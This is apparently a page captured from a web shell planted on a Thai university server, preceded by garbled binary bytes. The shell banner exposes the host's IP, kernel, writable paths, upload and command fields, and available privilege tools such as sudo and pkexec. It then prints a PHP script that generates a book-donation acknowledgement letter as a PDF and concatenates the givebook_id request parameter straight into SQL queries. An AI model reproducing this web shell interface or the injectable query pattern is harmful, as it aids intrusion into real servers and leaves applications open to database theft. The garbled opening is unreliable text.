h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/givebook/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/givebook/pages/generatepdf.php
<?ob_start();?>
<?php include 'dbconnect.php';?>
<?php
$givebook_id = (isset($_GET["givebook_id"])) ? $_GET["givebook_id"] : '';

if ($givebook_id<>"") {
	$sql = "SELECT * FROM givebook_detail WHERE givebook_id=" . $givebook_id;
	$query = mysqli_query($conn,$sql);	
	if($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {

				//สร้าง pdf-----------------------------------------------------------------------------
				require('../fpdf183/fpdf.php');
			
				define('FPDF_FONTPATH','../fpdf183/font/');
				
				function MonthThai($strMonth)
				{
					$strMonthName = Array("","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
					$strMonthThai=$strMonthName[$strMonth];
					return $strMonthThai;
				}	
					$sql_config = "SELECT * FROM config ORDER BY config_id ASC";	
					$query_config = mysqli_query($conn,$sql_config);
					while ($result_config=mysqli_fetch_array($query_config,MYSQLI_ASSOC)) {
						switch ($result_config["config_name"]) {
						  case "organization_name":
							$organization_name = $result_config["config_value"];
							break;	
						  case "department_name":
							$department_name = $result_config["config_value"];
							break;		
						  case "address":
							$address = $result_config["config_value"];
							break;	
						  case "subject":
							$subject = $result_config["config_value"];
							break;	
						  case "closing_word":
							$closing_word = $result_config["config_value"];
							break;	
						  case "leader_name":
							$leader_name = $result_config["config_value"];
							break;	
						  case "leader_position":
							$leader_position = $result_config["config_value"];
							break;			
						  case "telephone":
							$telephone = $result_config["config_value"];
							break;		
						  case "fax":
							$fax = $result_config["config_value"];
							break;	
						  case "paragraph2":
							$paragraph2 = $result_config["config_value"];
							break;	
						  case "paragraph3":
							$paragraph3 = $result_config["config_value"];
							break;	
						}	//switch ($result_config["config_name"]) {			
					} //while ($result_config=mysqli_fetch_array($query_config,MYSQLI_ASSOC)) {				
				
					//$pdf=new FPDF();
					$pdf = new FPDF('P','mm','A4');
					$pdf->AddPage();
					$pdf->AddFont('THSarabunIT999','','THSarabunIT999.php');
					$pdf->SetFont('THSarabunIT999','',16);
					$top_margin = 35;
					$left_margin = 30;
					$right_margin = 20;
					$new_paragraph = 10;
					$x_paragraph = 25+$left_margin;
					$pdf->SetLeftMargin($left_margin);
					$pdf->SetRightMargin($right_margin);
					$pdf->SetTopMargin($top_margin);
					$logo_width = 26.6;
					$logo_height = 30;
					$page_width = $pdf->GetPageWidth();
					$page_height = $pdf->GetPageHeight();
					$center_page_x = ($page_width/2);
					$image_x = $center_page_x -($logo_width/2);
					$image_y = 15;
					$pdf->Image('headlogo.png',$image_x,$image_y,$logo_width,$logo_height);
					//$pdf->Ln(10);
					$pdf->SetY($top_margin);
					$text_show = "ที่ " . $result["givebook_number"];
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$text_show),0,1,"L");
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
															
					//$pdf->Ln(10);
					$pdf->SetY($top_margin);
					$x_address = 124;
					$pdf->SetX($x_address);
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$department_name),0,1,"L");	
					$pdf->Write(8,iconv('UTF-8','cp874',$department_name));
					
					$pdf->Ln();
					$pdf->SetX($x_address);
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$organization_name),0,1,"L");	
					$pdf->Write(8,iconv('UTF-8','cp874',$organization_name));
					
					$pdf->Ln();
					$pdf->SetX($x_address);
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$address),0,1,"L");	
					$pdf->Write(8,iconv('UTF-8','cp874',$address));					

					//$pdf->AddFont('THSarabun','','THSarabun.php');
					//$pdf->SetFont('THSarabun','',16);
					//วันที่ เดือน พ.ศ.	
					$timestamp = strtotime($result["recorddate"]);
					$dd = date('j', $timestamp);
					$mm = date('n', $timestamp);
					$yy = date('Y', $timestamp)+543;
					//$pdf->AddFont('THSarabunIT999','','THSarabunIT999.php');
					//$pdf->SetFont('THSarabunIT999','',16);					
					$date_thai = $dd . " " . MonthThai($mm) . " " . $yy;	
					$pdf->Ln($new_paragraph);
					$pdf->SetX($center_page_x);
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$date_thai),0,1,"L");	
					$pdf->Write(8,iconv('UTF-8','cp874',$date_thai));	
					//$pdf->SetFont('THSarabun','',16);
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',' '),0,1);		

					$pdf->Ln($new_paragraph);
					$text_show = "เรื่อง  " . $subject;
					//$pdf->Cell(0,8,iconv('UTF-8','cp874',$text_show),0,1,"L");	
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));						
					
					$sql2 = "SELECT prefix_name FROM prefix WHERE prefix_id=" . $result["prefix_id"];
					$query2 = mysqli_query($conn,$sql2);	
					if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
						$prefixname = $result2["prefix_name"];
					} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
						$prefixname = "";
					} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {						
					$text_show = "เรียน  " . $prefixname . $result["firstname"] . " " . $result["lastname"];
					//$pdf->Cell(0,8,iconv( 'UTF-8','cp874',$text_show),0,1,"L");	
					$pdf->Ln($new_paragraph);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$text_show = "ตามที่ " . $prefixname . $result["firstname"] . " " . $result["lastname"];
					$text_show .= " สังกัด" . $result["giver_organization"];
					$text_show .= " ได้มอบหนังสือดังต่อไปนี้";
					$pdf->Ln($new_paragraph);
					$pdf->SetX($x_paragraph);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));	
					
					$title_order = 1;
					$sql_title = "SELECT title_detail.*,worktype.worktype_name FROM title_detail INNER JOIN worktype ON title_detail.worktype_id=worktype.worktype_id WHERE givebook_id=" . $givebook_id;
					$sql_title .= " ORDER BY title_id ASC";
					$query_title = mysqli_query($conn,$sql_title);	
					while ($result_title=mysqli_fetch_array($query_title,MYSQLI_ASSOC)) {
						$text_show = $title_order . ". " . $result_title["worktype_name"] . " เรื่อง " . $result_title["title_name"] . " จำนวน " . $result_title["amount"] . " เล่ม";
						$pdf->Ln();
						$pdf->SetX($x_paragraph);
						$pdf->Write(8,iconv('UTF-8','cp874',$text_show));	
						$title_order += 1;				
					} //while ($result_title=mysqli_fetch_array($query_title,MYSQLI_ASSOC)) {						
					
					$pdf->Ln();
					
					$text_show = "ให้แก่ " . $department_name . " " . $organization_name . " นั้น";
					//$pdf->Cell(0,8,iconv('UTF-8','cp874',$text_show),0,1,"L");
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));	
					
					$text_show = $department_name . "  " . $paragraph2;
					$pdf->Ln($new_paragraph);
					$pdf->SetX($x_paragraph);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$pdf->Ln($new_paragraph);		
					
					$text_show = $paragraph3;
					$pdf->SetX($x_paragraph);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$pdf->Ln($new_paragraph);
					
					$text_show = $closing_word;
					$pdf->SetX($center_page_x);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$pdf->Ln();
					$pdf->Ln();
					$pdf->Ln();
																			
					$text_show = "(" . $leader_name . ")";
					$pdf->SetX($center_page_x);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$pdf->Ln();
					
					$text_show = $leader_position;
					$pdf->SetX($center_page_x-26);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));
					
					$pdf->Ln();
					
					$text_show = $organization_name;
					$pdf->SetX($center_page_x-5);
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));					
										
					$pdf->SetX($left_margin);
					$pdf->SetY($page_height-45);
					$text_show = $department_name;
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));		
					
					$pdf->Ln();
					
					$text_show = "โทร.   " . $telephone;
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));	
					
					$pdf->Ln();
					
					$text_show = "โทรสาร.   " . $fax;
					$pdf->Write(8,iconv('UTF-8','cp874',$text_show));												
					
											
					//$output_file = "../fpdf183/MyPDF/" . $result["givebook_id"] . ".pdf";
					//$pdf->Output($output_file,"F");
					$pdf->Output();
	} else { //if($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {
		echo "ไม่พบหมายเลขหนังสือตอบรับ";
	} //if($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {
				//จบสร้าง pdf-----------------------------------------------------------------------------			
} else { //if ($givebook_id<>"") {
	echo "ไม่พบหมายเลขหนังสือตอบรับ";
} //if ($givebook_id<>"") {
?>

Youez - 2016 - github.com/yon3zu
LinuXploit